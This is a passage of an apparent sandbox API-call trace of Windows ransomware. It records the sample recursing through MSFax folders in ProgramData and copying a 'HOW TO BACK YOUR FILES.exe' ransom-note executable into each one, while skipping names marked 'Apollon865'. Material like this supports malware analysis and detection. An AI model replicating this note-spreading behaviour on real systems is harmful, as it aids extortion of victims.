	[0050.740] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Queue", cAlternateFileName="")) returned 1
	[0050.740] lstrcmpiW (lpString1="Queue", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.740] lstrcmpiW (lpString1="Queue", lpString2="Apollon865.txt.exe") returned 1
	[0050.740] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="Queue" | out: lpString1="Queue") returned="Queue"
	[0050.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0050.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5590
	[0050.740] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe50 | out: ListHead=0x5b76b0, ListEntry=0x59fe50) returned 0x59fd30
	[0050.740] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7b58d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7b58d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SentItems", cAlternateFileName="SENTIT~1")) returned 1
	[0050.740] lstrcmpiW (lpString1="SentItems", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.740] lstrcmpiW (lpString1="SentItems", lpString2="Apollon865.txt.exe") returned 1
	[0050.740] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="SentItems" | out: lpString1="SentItems") returned="SentItems"
	[0050.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe68
	[0050.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5c8f30
	[0050.740] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe70 | out: ListHead=0x5b76b0, ListEntry=0x59fe70) returned 0x59fe50
	[0050.740] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f78f770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 1
	[0050.740] lstrcmpiW (lpString1="VirtualInbox", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.740] lstrcmpiW (lpString1="VirtualInbox", lpString2="Apollon865.txt.exe") returned 1
	[0050.741] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="VirtualInbox" | out: lpString1="VirtualInbox") returned="VirtualInbox"
	[0050.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe88
	[0050.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6e) returned 0x59a8a8
	[0050.741] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe90 | out: ListHead=0x5b76b0, ListEntry=0x59fe90) returned 0x59fe70
	[0050.741] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f78f770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 0
	[0050.741] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.741] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe90
	[0050.741] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox"
	[0050.741] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0050.741] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe88 | out: hHeap=0x580000) returned 1
	[0050.741] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned 54
	[0050.741] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox"
	[0050.741] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.741] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\virtualinbox\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.741] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.742] GetLastError () returned 0x0
	[0050.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.742] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.742] CloseHandle (hObject=0x15c) returned 1
	[0050.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.742] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.742] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f78f770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.742] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.742] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.742] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0050.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe88
	[0050.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf898
	[0050.742] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe90 | out: ListHead=0x5b76b0, ListEntry=0x59fe90) returned 0x59fe70
	[0050.742] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f78f770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.742] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.742] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f78f770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0050.742] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.742] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe90
	[0050.742] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US"
	[0050.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0050.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe88 | out: hHeap=0x580000) returned 1
	[0050.742] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned 60
	[0050.743] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US"
	[0050.743] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.743] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.743] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.743] GetLastError () returned 0x0
	[0050.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.743] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.743] CloseHandle (hObject=0x15c) returned 1
	[0050.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.743] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.743] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f7b58d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7b58d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.743] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.744] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.744] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="WelcomeFax.tif" | out: lpString1="WelcomeFax.tif") returned="WelcomeFax.tif"
	[0050.744] lstrlenW (lpString="WelcomeFax.tif") returned 14
	[0050.744] lstrlenW (lpString="Apollon865") returned 10
	[0050.744] lstrcmpiW (lpString1="omeFax.tif", lpString2="Apollon865") returned 1
	[0050.744] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems"
	[0050.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0050.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe68 | out: hHeap=0x580000) returned 1
	[0050.744] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems") returned 51
	[0050.744] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems"
	[0050.744] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.744] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\sentitems\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.744] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.744] GetLastError () returned 0x0
	[0050.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.745] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.745] CloseHandle (hObject=0x15c) returned 1
	[0050.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.745] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.745] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7b58d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7b58d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.745] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.745] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.745] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue"
	[0050.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5590 | out: hHeap=0x580000) returned 1
	[0050.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0050.745] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue") returned 47
	[0050.745] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue"
	[0050.745] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.745] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\queue\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.746] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.746] GetLastError () returned 0x0
	[0050.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.746] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.746] CloseHandle (hObject=0x15c) returned 1
	[0050.746] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.746] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.746] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.746] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.746] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.746] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox"
	[0050.746] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
	[0050.746] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd28 | out: hHeap=0x580000) returned 1
	[0050.746] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox") returned 47
	[0050.746] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox"
	[0050.746] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.746] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\inbox\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.747] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.747] GetLastError () returned 0x0
	[0050.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.747] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.747] CloseHandle (hObject=0x15c) returned 1
	[0050.747] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.747] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.747] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.747] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.747] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.748] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages"
	[0050.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0050.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0050.748] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned 59
	[0050.748] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages"
	[0050.748] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.748] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.748] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.748] GetLastError () returned 0x0
	[0050.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.748] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.748] CloseHandle (hObject=0x15c) returned 1
	[0050.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.748] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.748] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.749] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.749] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.749] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0050.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
